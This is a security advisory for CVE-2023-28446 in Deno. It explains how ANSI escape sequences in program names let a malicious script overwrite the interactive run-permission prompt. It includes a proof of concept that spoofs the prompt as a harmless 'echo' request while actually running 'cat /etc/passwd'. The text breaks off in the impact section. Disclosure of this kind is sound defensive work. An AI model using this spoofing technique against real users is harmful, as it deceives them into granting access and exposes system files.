Interactive `run` permission prompt spoofing via improper ANSI neutralization
Date: 2023-03
Affected: rust/deno, rust/deno_runtime
Attack vector: other
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2023-28446
CWE: CWE-150
CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

### Summary Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text. ### Details The main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`. ### PoC This PoC works on 1.31.1, but modified versions of it work on older versions. Make a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt ```ts const boldANSI = "\^[[1m" // bold const unboldANSI = "\^[[22m" // unbold const prompt = `┌ ⚠️ ${boldANSI}Deno requests run access to "echo"${unboldANSI} ├ Requested by \`Deno.Command().output()` const moveANSIUp = "\^[[1A" // moves to the start of the line const clearANSI = "\^[[2K" // clears the line const moveANSIStart = "\^[[1000D" // moves to the start of the line Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({ cmd: "cat", args: ["/etc/passwd"], clearEnv: false, env: [], stdin: "null", stdout: "inherit", stderr: "piped" }, moveANSIUp + clearANSI + moveANSIStart + prompt) ``` Run the file with `deno run index.ts`. ### Impact Any Deno progr


Mitigations:

Architectural layers (MAESTRO):